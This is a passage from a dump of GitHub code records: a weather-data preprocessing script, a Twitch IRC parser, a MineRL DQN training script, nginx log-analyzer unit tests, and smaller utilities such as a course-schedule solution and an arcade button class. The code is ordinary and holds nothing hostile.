url=storage_url, data=audio_bytes, headers=headers_audio\n )\n\n if response.status_code == 200 and \"etag\" in response.headers:\n pass\n else:\n raise Exception(f\"{response.status_code}: {response.reason}\")\n\n def __repr__(self):\n return f\"< amdapi.Client | ClientID: {self.__client_id} | Last Token Refresh: {self.__token.last_refresh} >\"\n","repo_name":"AMDA-pi/amda-pi-python-sdk","sub_path":"amdapi/base_classes/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":14579,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"75327322920","text":"import numpy as np\nimport os\nfrom tqdm import tqdm\n\nDATAROOT = \"/nvme/zhangtianning/datasets/ERA5/numpy/\"\nSAVEROOT = \"/nvme/zhangtianning/datasets/ERA5/numpy_set_float32/\"\nH5ROOT = \"/nvme/zhangtianning/datasets/ERA5/h5_set/\"\nYears = {\n 'train': range(1979, 2016),\n 'valid': range(2016, 2018),\n 'test': range(2018, 2019),\n 'all': range(1979, 2022)\n\n}\nimport h5py\ndef save_h5(path,obj):\n h5f = h5py.File(path, \"w\")\n h5f.create_dataset(\"data\", data=obj)\n h5f.close()\ntag= 'train'\n\n# Nabla_cdot_V_l = np.load(os.path.join(SAVEROOT,f\"Nabla_cdot_V_l_{tag}.npy\" ))\nyear_data=Field = np.load(os.path.join(SAVEROOT,f\"all_data_{tag}.npy\" ))[...,1:-1,:]\n# Vphysics_dx_l = np.load(os.path.join(SAVEROOT,f\"Vphysics_dx_{tag}.npy\" ))\n# Vphysics_dy_l = np.load(os.path.join(SAVEROOT,f\"Vphysics_dy_{tag}.npy\" ))\nField_dx = np.load(os.path.join(SAVEROOT,f\"Field_dx_{tag}.npy\" ))\nField_dy = np.load(os.path.join(SAVEROOT,f\"Field_dy_{tag}.npy\" ))\nDt= 6*3600\nu = Field[:,0:1]\nv = Field[:,1:2]\nT = Field[:,2:3]\np = Field[:,3:4]\n\nField_channel_mean = np.array([2.7122362e+00,9.4288319e-02,2.6919699e+02,2.2904861e+04]).reshape(1,4,1,1,1)\nField_channel_std = np.array([9.5676870e+00,7.1177821e+00,2.0126169e+01,2.2861252e+04]).reshape(1,4,1,1,1)\nField_Dt_channel_mean = np.array([ -0.02293313,-0.04692488 ,0.02711264 ,7.51324121]).reshape(1,4,1,1,1)\nField_Dt_channel_std = np.array([ 8.82677214 , 8.78834556 ,3.96441518 ,526.15269219]).reshape(1,4,1,1,1)\n\n\nField_dt = Field[1:]-Field[:-1]\npysics_part = (u*Field_dx + v*Field_dy)[:-1]*Dt \nField_Dt = Field_dt + pysics_part\nprint(Field_Dt.mean(axis=(0,2,3,4)))\nprint(Field_Dt.std(axis=(0,2,3,4)))\nprint(\"========================================\")\nprint(Field_Dt[:3].mean(axis=(0,2,3,4)))\nprint(Field_Dt[:3].std(axis=(0,2,3,4)))\nprint(\"========================================\")\nField_Dt = (Field_Dt - Field_Dt_channel_mean)/Field_Dt_channel_std\nprint(Field_Dt.mean(axis=(0,2,3,4)))\nprint(Field_Dt.std(axis=(0,2,3,4)))\nprint(\"========================================\")\nprint(Field_Dt[:3].mean(axis=(0,2,3,4)))\nprint(Field_Dt[:3].std(axis=(0,2,3,4)))\nexit()\n# save_h5(os.path.join(H5ROOT,f\"Nabla_cdot_V_l_{tag}.h5\" ),Nabla_cdot_V_l )\n# save_h5(os.path.join(H5ROOT,f\"all_data_{tag}.h5\" ),year_data_l )\n# save_h5(os.path.join(H5ROOT,f\"Vphysics_dx_{tag}.h5\" ),Vphysics_dx_l )\n# save_h5(os.path.join(H5ROOT,f\"Vphysics_dy_{tag}.h5\" ),Vphysics_dy_l )\n# save_h5(os.path.join(H5ROOT,f\"Field_dx_{tag}.h5\" ),Field_dx_l )\n# save_h5(os.path.join(H5ROOT,f\"Field_dy_{tag}.h5\" ),Field_dy_l )\n\n\n# np.save(os.path.join(SAVEROOT2,f\"Nabla_cdot_V_l_{tag}\" ),Nabla_cdot_V_l )\n# np.save(os.path.join(SAVEROOT2,f\"all_data_{tag}\" ),year_data_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dx_{tag}\" ),Vphysics_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dy_{tag}\" ),Vphysics_dy_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dx_{tag}\" ),Field_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dy_{tag}\" ),Field_dy_l )\n\n\nimport json\n# mean_std_info = {\n# \"Nabla_cdot_V_l\":{'mean':float(Nabla_cdot_V_l.mean()),'std':float(Nabla_cdot_V_l.std())},\n# \"year_data_l\" :{'mean':float(year_data_l.mean() ),'std':float(year_data_l.std() )},\n# \"Vphysics_dx_l\" :{'mean':float(Vphysics_dx_l.mean() ),'std':float(Vphysics_dx_l.std() )},\n# \"Vphysics_dy_l\" :{'mean':float(Vphysics_dy_l.mean() ),'std':float(Vphysics_dy_l.std() )},\n# \"Field_dx_l\" :{'mean':float(Field_dx_l.mean() ),'std':float(Field_dx_l.std() )},\n# \"Field_dy_l\" :{'mean':float(Field_dy_l.mean() ),'std':float(Field_dy_l.std() )},\n# }\n# with open(os.path.join(SAVEROOT,'mean_std_info.json'),'w') as f:\n# json.dump(mean_std_info,f)\n# with open(os.path.join(SAVEROOT,'mean_std_info.json'),'r') as f:\n# mean_std_info = json.load(f)\n#\n#\n# Nabla_cdot_V_l = (Nabla_cdot_V_l - mean_std_info[\"Nabla_cdot_V_l\"]['mean'])/mean_std_info[\"Nabla_cdot_V_l\"]['std']\n# year_data_l = (year_data_l - mean_std_info[\"year_data_l\" ]['mean'])/mean_std_info[\"year_data_l\" ]['std']\n# Vphysics_dx_l = (Vphysics_dx_l - mean_std_info[\"Vphysics_dx_l\" ]['mean'])/mean_std_info[\"Vphysics_dx_l\" ]['std']\n# Vphysics_dy_l = (Vphysics_dy_l - mean_std_info[\"Vphysics_dy_l\" ]['mean'])/mean_std_info[\"Vphysics_dy_l\" ]['std']\n# Field_dx_l = (Field_dx_l - mean_std_info[\"Field_dx_l\" ]['mean'])/mean_std_info[\"Field_dx_l\" ]['std']\n# Field_dy_l = (Field_dy_l - mean_std_info[\"Field_dy_l\" ]['mean'])/mean_std_info[\"Field_dy_l\" ]['std']\n#\n# Nabla_cdot_V_l = Nabla_cdot_V_l.astype('float16')\n# year_data_l = year_data_l.astype('float16')\n# Vphysics_dx_l = Vphysics_dx_l.astype('float16')\n# Vphysics_dy_l = Vphysics_dy_l.astype('float16')\n# Field_dx_l = Field_dx_l.astype('float16')\n# Field_dy_l = Field_dy_l.astype('float16')\n#\n# assert not np.isinf(Nabla_cdot_V_l).any()\n# assert not np.isinf(year_data_l ).any()\n# assert not np.isinf(Vphysics_dx_l ).any()\n# assert not np.isinf(Vphysics_dy_l ).any()\n# assert not np.isinf(Field_dx_l ).any()\n# assert not np.isinf(Field_dy_l ).any()\n#\n# assert not np.isnan(Nabla_cdot_V_l).any()\n# assert not np.isnan(year_data_l ).any()\n# assert not np.isnan(Vphysics_dx_l ).any()\n# assert not np.isnan(Vphysics_dy_l ).any()\n# assert not np.isnan(Field_dx_l ).any()\n# assert not np.isnan(Field_dy_l ).any()\n#\n# SAVEROOT2= \"/nvme/zhangtianning/datasets/ERA5/numpy_set_float16/\"\n# np.save(os.path.join(SAVEROOT2,f\"Nabla_cdot_V_l_{tag}\" ),Nabla_cdot_V_l )\n# np.save(os.path.join(SAVEROOT2,f\"all_data_{tag}\" ),year_data_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dx_{tag}\" ),Vphysics_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Vphysics_dy_{tag}\" ),Vphysics_dy_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dx_{tag}\" ),Field_dx_l )\n# np.save(os.path.join(SAVEROOT2,f\"Field_dy_{tag}\" ),Field_dy_l )\n\n\nexit()\n\nassert not os.path.exists(os.path.join(SAVEROOT,f\"all_data_{tag}\"))\n\nHdx = 6371000*np.sin(np.linspace(0,720,49)/720*np.pi)*2*np.pi/1440.0\nHdx = Hdx.reshape(1,1,1,49,1)[...,1:-1,:]\nHdy = 6371000*np.pi/720.0\n\n\n\nVphysics_dx_l =[]\nVphysics_dy_l =[]\nField_dx_l =[]\nField_dy_l =[]\nField_dz_l =[]\nyear_data_l =[]\nNabla_cdot_V_l =[]\n\nfor year in tqdm(Years[tag]):\n Nabla_cdot_V_l.append(np.load(os.path.join(DATAROOT,f\"Nabla_cdot_V_l_{year}.npy\" )))\n year_data_l.append(np.load(os.path.join(DATAROOT,f\"all_data_{year}.npy\" )))\n Vphysics_dx_l.append(np.load(os.path.join(DATAROOT,f\"Vphysics_dx_{year}.npy\" )))\n Vphysics_dy_l.append(np.load(os.path.join(DATAROOT,f\"Vphysics_dy_{year}.npy\" )))\n Field_dx_l.append(np.load(os.path.join(DATAROOT,f\"Field_dx_{year}.npy\" )))\n Field_dy_l.append(np.load(os.path.join(DATAROOT,f\"Field_dy_{year}.npy\" )))\n\nyear_data_l = np.concatenate(year_data_l )\nNabla_cdot_V_l = np.concatenate(Nabla_cdot_V_l )\nVphysics_dx_l = np.concatenate(Vphysics_dx_l )\nVphysics_dy_l = np.concatenate(Vphysics_dy_l )\nField_dx_l = np.concatenate(Field_dx_l )\nField_dy_l = np.concatenate(Field_dy_l )\n\nVphysics_dx_l = Vphysics_dx_l[...,1:-1,:]/Hdx\nVphysics_dy_l = Vphysics_dy_l[...,1:-1,:]/Hdy\nField_dx_l = Field_dx_l[...,1:-1,:]/Hdx\nField_dy_l = Field_dy_l[...,1:-1,:]/Hdy\nNabla_cdot_V = Field_dx_l[:,0:1] + Field_dy_l[:,1:2]\n\nyear=tag\nnp.save(os.path.join(SAVEROOT,f\"Nabla_cdot_V_l_{year}\" ),Nabla_cdot_V_l )\nnp.save(os.path.join(SAVEROOT,f\"all_data_{year}\" ),year_data_l )\nnp.save(os.path.join(SAVEROOT,f\"Vphysics_dx_{year}\" ),Vphysics_dx_l )\nnp.save(os.path.join(SAVEROOT,f\"Vphysics_dy_{year}\" ),Vphysics_dy_l )\nnp.save(os.path.join(SAVEROOT,f\"Field_dx_{year}\" ),Field_dx_l )\nnp.save(os.path.join(SAVEROOT,f\"Field_dy_{year}\" ),Field_dy_l )\n","repo_name":"veya2ztn/Seq2SeqAutoregressiveModel","sub_path":"tools/physics_data_analysis.py","file_name":"physics_data_analysis.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"74291472039","text":"# checks if there is an interval smaller than 30 minutes in the column_name\nimport sys\nimport pandas as pd\n\ndef main():\n f = pd.read_excel(sys.argv[1])\n \n column_name = \"ML_OffWrist_Prediction\"\n \n sequence = 0\n for i in range(len(f)):\n if (f[column_name][i] == 1):\n sequence += 1\n else:\n if(sequence < 30 and sequence != 0):\n print('sequence less than 30: ' + str(sequence) )\n print('found in: ' + str((i+1)-sequence) + ' --> ' + str(i+1) )\n sequence = 0\n \n\nif __name__ == \"__main__\":\n main()","repo_name":"LMicol/offwrist-detection","sub_path":"extra/longer_30_check.py","file_name":"longer_30_check.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3047579361","text":"import re\nimport typing\n\nif typing.TYPE_CHECKING:\n from .websocket import WSConnection\n\nACTIONS = (\n \"JOIN\",\n \"PART\",\n \"PING\",\n \"PRIVMSG\",\n \"PRIVMSG(ECHO)\",\n \"USERSTATE\",\n \"MODE\",\n \"RECONNECT\",\n \"WHISPER\",\n \"USERNOTICE\",\n)\nACTIONS2 = (\"USERSTATE\", \"ROOMSTATE\", \"PRIVMSG\", \"USERNOTICE\", \"WHISPER\")\nUSER_SUB = re.compile(r\":(?P<user>.*)!\")\nTMI = \"tmi.twitch.tv\"\n\n\ndef parser(data: str, nick: str):\n groups = data.split()\n action = groups[1] if groups[1] == \"JOIN\" else groups[-2]\n channel = None\n message = None\n user = None\n badges = None\n\n if action == \"PING\":\n return dict(action=\"PING\")\n\n elif groups[2] in {\"PRIVMSG\", \"PRIVMSG(ECHO)\"}:\n action = groups[2]\n channel = groups[3].lstrip(\"#\")\n message = \" \".join(groups[4:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[1]).group(\"user\")\n\n elif groups[2] == \"WHISPER\":\n action = groups[2]\n message = \" \".join(groups[4:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[1]).group(\"user\")\n\n elif groups[2] == \"USERNOTICE\":\n action = groups[2]\n channel = groups[3].lstrip(\"#\")\n message = \" \".join(groups[4:]).lstrip(\":\")\n\n elif action in ACTIONS:\n channel = groups[-1].lstrip(\"#\")\n\n elif groups[3] in {\"PRIVMSG\", \"PRIVMSG(ECHO)\"}:\n action = groups[3]\n channel = groups[4].lstrip(\"#\")\n message = \" \".join(groups[5:]).lstrip(\":\")\n user = re.search(USER_SUB, groups[2]).group(\"user\")\n\n if action in ACTIONS2:\n prebadge = groups[0].split(\";\")\n badges = {}\n\n for badge in prebadge:\n badge = badge.split(\"=\")\n\n try:\n badges[badge[0]] = badge[1]\n except IndexError:\n pass\n\n if action not in ACTIONS and action not in ACTIONS2:\n action = None\n\n if not user:\n try:\n user = re.search(USER_SUB, groups[0]).group(\"user\")\n except (AttributeError, ValueError):\n pass\n\n try:\n code = int(groups[1])\n except ValueError:\n code = 0\n\n batches = []\n if code == 353:\n if not channel:\n channel = groups[4].lstrip(\"#\")\n\n for b in groups[5:-1]:\n b = b.lstrip(\":\")\n\n if \"\\r\\n:\" in b:\n batches.append(b.split(\"\\r\\n:\")[0])\n break\n else:\n batches.append(b)\n\n return dict(\n data=data,\n nick=nick,\n groups=groups,\n action=action,\n channel=channel,\n user=user,\n badges=badges,\n code=code,\n message=message,\n batches=batches,\n )\n\n\ndef parse(data: str, ws: \"WSConnection\"):\n messages = data.split(\"\\r\\n\")\n output = []\n\n for msg in messages:\n if not msg:\n continue\n\n if msg == \"PING :tmi.twitch.tv\":\n output.append(dict(action=\"PING\"))\n continue\n\n msg = msg.replace(\":tmi.twitch.tv \", \"\")\n groups = msg.split()\n length = len(groups)\n","repo_name":"WISEPLAT/python-code","sub_path":" invest-robot-contest_TinkoffBotTwitch-main/venv/lib/python3.8/site-packages/twitchio/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":3044,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"18"} +{"seq_id":"44029796607","text":"class Solution(object):\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n if prerequisites is None:\n return False\n if numCourses == 0 or len(prerequisites) == 0:\n return True\n graph = [[] for i in range(numCourses)]\n preNum = [0 for i in range(numCourses)]\n for item in prerequisites:\n graph[item[1]].append(item[0])\n preNum[item[0]] += 1\n queue = []\n for i in range(numCourses):\n if preNum[i] == 0:\n queue.append(i)\n while len(queue) != 0:\n item1 = queue[0]\n queue.remove(item1)\n for item2 in graph[item1]:\n preNum[item2] -= 1\n if preNum[item2] == 0:\n queue.append(item2)\n for item in preNum:\n if item != 0:\n return False\n return True\n \nif __name__ == \"__main__\":\n numCourses = 2\n prerequisites = [[1,0], [0, 1]]\n solution = Solution()\n print(solution.canFinish(numCourses, prerequisites))\n\n ","repo_name":"formernest/leetcode","sub_path":"leetcode/num207.py","file_name":"num207.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8186071080","text":"from selenium.webdriver.common.by import By\nfrom base_page import BasePage\n\nBUTTON = (By.XPATH, \"//button[text()='My Button']\")\n\n\nclass NonSpacePage(BasePage):\n\n def should_be_button(self):\n try:\n self.find_element(BUTTON)\n return True\n except:\n return False","repo_name":"AlekseyBurak/Test_UI_playground","sub_path":"pages/non_space_page.py","file_name":"non_space_page.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26505549602","text":"import argparse\nimport dataclasses\nimport torch\nimport wandb\nimport gym\nimport minerl\nfrom collections import namedtuple\n\nfrom minerl3161.buffers import ReplayBuffer, PrioritisedReplayBuffer\nfrom minerl3161.agents import DQNAgent, TinyDQNAgent, TinyRainbowDQNAgent, RainbowDQNAgent\nfrom minerl3161.trainers import DQNTrainer, RainbowDQNTrainer\nfrom minerl3161.hyperparameters import ClassicControlRainbowDQNHyperparameters, MineRLDQNHyperparameters, MineRLRainbowDQNHyperparameters, ClassicControlDQNHyperparameters\nfrom minerl3161.wrappers import minerlWrapper, classicControlWrapper\nfrom minerl3161.utils.termination import get_termination_condition\n\n\nPolicy = namedtuple('Policy', ['agent', 'trainer', 'wrapper', 'params'])\n\nPOLICIES = {\n # MineRL Policies\n \"minerl-dqn\": Policy(DQNAgent, DQNTrainer, minerlWrapper, MineRLDQNHyperparameters),\n \"minerl-rainbow-dqn\": Policy(RainbowDQNAgent, RainbowDQNTrainer, minerlWrapper, MineRLRainbowDQNHyperparameters),\n \"minerl-tiny-dqn\": Policy(TinyDQNAgent, DQNTrainer, minerlWrapper, MineRLDQNHyperparameters),\n\n # Classic Control Policies (CartPole, MountainCar etc.)\n \"cc-dqn\": Policy(TinyDQNAgent, DQNTrainer, classicControlWrapper, ClassicControlDQNHyperparameters),\n \"cc-rainbow-dqn\": Policy(TinyRainbowDQNAgent, RainbowDQNTrainer, classicControlWrapper, ClassicControlRainbowDQNHyperparameters),\n}\n\n\ndef main():\n parser = argparse.ArgumentParser('Parse configuration file')\n parser.add_argument('--policy', type=str, default='cc-rainbow-dqn')\n parser.add_argument('--env', type=str, default=\"CartPole-v1\")\n\n parser.add_argument('--wandb', action='store_true', default=True,\n help='sets if we use wandb logging')\n parser.add_argument('--no-wandb', action='store_false', dest=\"wandb\",\n help='sets if we use wandb logging')\n\n parser.add_argument('--gpu', action='store_true', default=True,\n help='sets if we use gpu hardware')\n \n parser.add_argument('--no-gpu', action='store_false', dest=\"gpu\",\n help='sets if we use gpu hardware')\n\n parser.add_argument('--human-exp-path', type=str, default=None,\n help='pass in path to human experience pickle')\n \n parser.add_argument('--load-path', type=str, default=None,\n help='path to model checkpoint to load (optional)')\n \n parser.add_argument('--render', action='store_true', default=False,\n help='sets if we use gpu hardware')\n\n args = parser.parse_args()\n\n # Ensuring human data is not being used with the RainbowDQN Policy as this is not supported\n if 'rainbow' in args.policy and args.human_exp_path is not None:\n raise ValueError(\"Using human data with a rainbow policy is not currently supported\")\n\n # Loading onto appropriate device\n using_gpu = torch.cuda.is_available() and args.gpu\n device = torch.device(\"cuda:0\" if using_gpu else \"cpu\")\n print(f\"Loading onto {torch.cuda.get_device_name() if using_gpu else 'cpu'}\")\n\n # Configure policy hyperparameters\n hp = POLICIES[args.policy].params()\n print(f\"Using the {args.policy} policy\")\n\n # Configure environment\n env = gym.make(args.env)\n env = POLICIES[args.policy].wrapper(\n env, \n **dataclasses.asdict(hp), \n extracted_acts = True,\n functional_acts = False, \n extracted_acts_filename=\"test.pkl\",\n repeat_action = 5\n )\n print(f\"Creating a(n) {args.env} environment to train the agent in\")\n\n # handle human experience\n if args.human_exp_path is None:\n print(\"WARNING: not using any human experience\")\n human_dataset = None\n else:\n human_dataset = PrioritisedReplayBuffer.load(args.human_exp_path) if args.human_exp_path is not None else None\n print(f\"Loading the human dataset from {args.human_xp_path}\")\n\n # Setup termination conditions for the environment (if available)\n termination_conditions = get_termination_condition(args.env)\n\n # Configure agent\n agent = POLICIES[args.policy].agent(\n obs_space=env.observation_space, \n n_actions=env.action_space.n, \n device=device, \n hyperparams=hp,\n load_path=args.load_path\n )\n\n if args.wandb:\n wandb.init(\n project=args.env + \"-\" + args.policy, \n entity=\"minerl3161\",\n config=hp,\n tags=[args.policy, args.env],\n monitor_gym=True\n )\n print(f\"Using wandb logging...\")\n\n\n agent.watch_wandb()\n\n # Initialise trainer and start training\n trainer = POLICIES[args.policy].trainer(\n env=env, \n agent=agent, \n human_dataset=human_dataset, \n hyperparameters=hp,\n device=device, \n use_wandb=args.wandb, \n render=args.render, \n termination_conditions=termination_conditions,\n capture_eval_video=False\n )\n\n trainer.train()\n\n\nif __name__ == '__main__':\n main()","repo_name":"will-maclean/MineRL","sub_path":"src/scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"31866676560","text":"from datetime import date\nimport pathlib\nimport sys\nimport unittest\n\nimport log_analyzer as la\n\n\nclass GetConfigPathTestCase(unittest.TestCase):\n def test_default_path(self):\n path = la.get_config_path()\n self.assertEqual(path, './config.json')\n\n def test_path_from_args(self):\n sys.argv.append('--config=1.json')\n\n path = la.get_config_path()\n self.assertEqual(path, '1.json')\n sys.argv.pop()\n\n\nclass LoadConfigTestCase(unittest.TestCase):\n def test_ok(self):\n config = la.load_config()\n self.assertEqual(config, {\n 'REPORT_SIZE': 500,\n 'REPORT_DIR': './reports',\n 'LOG_DIR': './log',\n 'LOG_FILE': None,\n 'ERROR_PERCENT': 10,\n })\n\n def test_no_file(self):\n path = '1.json'\n sys.argv.append('--config={}'.format(path))\n self.assertRaises(FileNotFoundError, la.load_config)\n sys.argv.pop()\n\n def test_not_dict(self):\n path = '1.json'\n sys.argv.append('--config={}'.format(path))\n with open(path, 'w', encoding='utf-8') as f:\n f.write('[]')\n\n self.assertRaises(TypeError, la.load_config)\n pathlib.Path(path).unlink()\n sys.argv.pop()\n\n\nclass GetLatestLogFileTestCase(unittest.TestCase):\n def test_ok(self):\n log_dir = pathlib.Path('log')\n log_file = la.get_latest_log_file(log_dir)\n self.assertEqual(log_file, la.LogFile(pathlib.Path('log/nginx-access-ui.log-20170630.gz'),\n date(2017, 6, 30), '.gz'))\n\n def test_no_log_file(self):\n log_dir = pathlib.Path('log2')\n log_dir.mkdir()\n\n log_file = la.get_latest_log_file(log_dir)\n self.assertIsNone(log_file)\n log_dir.rmdir()\n\n def test_no_log_dir(self):\n log_dir = pathlib.Path('no_dir')\n self.assertRaises(FileNotFoundError, la.get_latest_log_file, log_dir)\n\n\nclass GetReportPathTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.log_file = la.LogFile(pathlib.Path('log/nginx-access-ui.log-20170630.gz'),\n date(2017, 6, 30), '.gz')\n\n def test_ok(self):\n report_dir = pathlib.Path('reports')\n log_file = la.get_report_path(self.log_file, report_dir)\n self.assertEqual(log_file, pathlib.Path('reports/report-2017.06.30.html'))\n\n def test_no_dir(self):\n report_dir = pathlib.Path('no_dir')\n self.assertRaises(FileNotFoundError, la.get_report_path, self.log_file, report_dir)\n\n\nclass ParseLineTestCase(unittest.TestCase):\n def test_ok(self):\n line = '1.196.116.32 - - [29/Jun/2017:03:50:22 +0300] ' \\\n '\"GET /api/v2/banner/25019354 HTTP/1.1\" 200 927 \"-\" ' \\\n '\"Lynx/2.8.8dev.9 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.10.5\" \"-\" ' \\\n '\"1498697422-2190034393-4708-9752759\" \"dc7161be3\" 0.390'\n request = la.parse_line(line)\n self.assertEqual(request, la.LogLine('GET /api/v2/banner/25019354 HTTP/1.1', 0.390))\n\n def test_bad_line(self):\n line = '1.194.135.240 - - [29/Jun/2017:10:15:45 +0300] ' \\\n '\"HEAD /slots/3938/ HTTP/1.1\" 302 0 \"-\" ' \\\n '\"Microsoft Office Excel 2013\" \"-\" ' \\\n '\"1498720545-244168387-4707-10016820\" \"-\" 0.ABC0'\n request = la.parse_line(line)\n self.assertIsNone(request)\n\n\nclass ExtractInfoFromFileTestCase(unittest.TestCase):\n def test_plain(self):\n log_file = la.LogFile(pathlib.Path('log/test_log'), date(2019, 1, 1), ext='')\n error_percent = 10\n requests = la.extract_info_from_file(log_file, error_percent)\n self.assertEqual(requests, {\n 'GET /api/v2/banner/25019354 HTTP/1.1': [0.39],\n 'GET /api/1/photogenic_banners/list/?server_name=WIN7RB4 HTTP/1.1': [0.133],\n 'GET /api/v2/banner/16852664 HTTP/1.1': [0.199],\n 'GET /api/v2/slot/4705/groups HTTP/1.1': [0.704],\n 'GET /api/v2/internal/banner/24294027/info HTTP/1.1': [0.146]\n })\n\n def test_zip(self):\n log_file = la.LogFile(pathlib.Path('log/test_log.gz'), date(2019, 1, 1), ext='.gz')\n error_percent = 10\n requests = la.extract_info_from_file(log_file, error_percent)\n self.assertEqual(requests, {\n 'GET /api/v2/banner/25019354 HTTP/1.1': [0.39],\n 'GET /api/1/photogenic_banners/list/?server_name=WIN7RB4 HTTP/1.1': [0.133],\n 'GET /api/v2/banner/16852664 HTTP/1.1': [0.199],\n 'GET /api/v2/slot/4705/groups HTTP/1.1': [0.704],\n 'GET /api/v2/internal/banner/24294027/info HTTP/1.1': [0.146]\n })\n\n def test_error_limit(self):\n log_file = la.LogFile(pathlib.Path('log/test_log_error'), date(2019, 1, 1), ext='')\n error_percent = 10\n self.assertRaises(ValueError, la.extract_info_from_file, log_file, error_percent)\n\n\nclass PrepareReportDataTestCase(unittest.TestCase):\n def test_ok(self):\n requests = {\n 'url1': [0.39, 0.24, 0.51],\n 'url2': [0.45, 0.11],\n 'url3': [0.4],\n }\n report_size = 2\n report_data = la.prepare_report_data(requests, report_size)\n self.assertEqual(report_data, [\n {\n 'url': 'url1',\n 'count': 3,\n 'count_perc': 50.0,\n 'time_sum': 1.14,\n 'time_perc': 54.286,\n 'time_avg': 0.38,\n 'time_max': 0.51,\n 'time_med': 0.39\n },\n {\n 'url': 'url2',\n 'count': 2,\n 'count_perc': 33.333,\n 'time_sum': 0.56,\n 'time_perc': 26.667,\n 'time_avg': 0.28,\n 'time_max': 0.45,\n 'time_med': 0.28\n }\n ])\n\n\nclass CreateReportTestCase(unittest.TestCase):\n def test_ok(self):\n report_data = [\n {\n 'url': 'url1',\n 'count': 3,\n 'count_perc': 50.0,\n 'time_sum': 1.14,\n 'time_perc': 54.286,\n 'time_avg': 0.38,\n 'time_max': 0.51,\n 'time_med': 0.39\n },\n {\n 'url': 'url2',\n 'count': 2,\n 'count_perc': 33.333,\n 'time_sum': 0.56,\n 'time_perc': 26.667,\n 'time_avg': 0.28,\n 'time_max': 0.45,\n 'time_med': 0.28\n }\n ]\n report_dir = pathlib.Path('reports')\n log_date = date(2019, 1, 1)\n report_path = pathlib.Path('reports/report-2019.01.01.html')\n\n path = la.create_report(report_data, report_dir, log_date)\n self.assertEqual(path, report_path)\n\n path.unlink()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"dmryutov/otus-python-0319","sub_path":"hw01/log_analyzer/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32200330614","text":"from enum import Enum\nfrom typing import Dict, List, Callable, Optional, Any\n\nimport arcade\n\nfrom wonderland.ui.config import FONT\nfrom wonderland.ui.ui_element_base import UIElement, UIContainer, Clickable, Hoverable, Rectangle\n\n\nclass ButtonState(Enum):\n NORMAL = 1\n HOVER = 2\n PRESSED = 3\n INACTIVE = 4\n\n\nclass Button(UIElement, Rectangle, Clickable, Hoverable):\n \"\"\"\n A clickable button with text.\n\n \"\"\"\n\n font: str = FONT\n font_size: int = 16\n color: Dict[ButtonState, Dict[str, arcade.arcade_types.Color]] = {\n ButtonState.NORMAL: {\n \"text\": arcade.color.BLACK,\n \"background\": arcade.color.BEIGE,\n \"outline\": arcade.color.DARK_VANILLA,\n },\n ButtonState.HOVER: {\n \"text\": arcade.color.BALL_BLUE,\n \"background\": arcade.color.BEIGE,\n \"outline\": arcade.color.DARK_VANILLA,\n },\n ButtonState.PRESSED: {\n \"text\": arcade.color.BLACK,\n \"background\": arcade.color.DARK_VANILLA,\n \"outline\": arcade.color.BEIGE,\n },\n ButtonState.INACTIVE: {\n \"text\": arcade.color.GRAY,\n \"background\": arcade.color.DARK_GRAY,\n \"outline\": arcade.color.GRAY,\n },\n }\n\n def __init__(\n self,\n text: str,\n center_x: float,\n center_y: float,\n width: float = None,\n height: float = None,\n scale: float = 1.0,\n on_click: Callable[[], None] = None,\n ) -> None:\n self.text: str = text\n self.center_x = center_x\n self.center_y = center_y\n self.width = width if width is not None else len(text) * scale * self.font_size * 0.6\n self.height = height if height is not None else scale * self.font_size * 1.4\n self.scale: float = scale\n self._on_click: Callable[[], None] = on_click if on_click is not None else lambda: None\n self.state: ButtonState = ButtonState.NORMAL\n self.background: Dict[ButtonState, arcade.ShapeElementList] = {\n state: arcade.ShapeElementList() for state in ButtonState\n }\n for state in ButtonState:\n self.background[state].append(\n arcade.create_rectangle_filled(\n center_x=center_x,\n center_y=center_y,\n width=self.width,\n height=self.height,\n color=self.color[state][\"background\"],\n )\n )\n self.background[state].append(\n arcade.create_rectangle_outline(\n center_x=center_x,\n center_y=center_y,\n width=self.width,\n height=self.height,\n color=self.color[state][\"outline\"],\n border_width=2.0 * self.scale,\n )\n )\n\n def draw(self) -> None:\n self.background[self.state].draw()\n arcade.draw_text(\n text=self.text,\n start_x=self.center_x,\n start_y=self.center_y,\n color=self.color[self.state][\"text\"],\n font_size=int(self.scale * self.font_size),\n font_name=self.font,\n anchor_y=\"center\",\n anchor_x=\"center\",\n )\n\n def set_on_click(self, on_click: Callable[[], None]):\n self._on_click = on_click\n\n def on_click(self) -> None:\n if not (self.state == ButtonState.INACTIVE or self.state == ButtonState.PRESSED):\n self.state = ButtonState.PRESSED\n 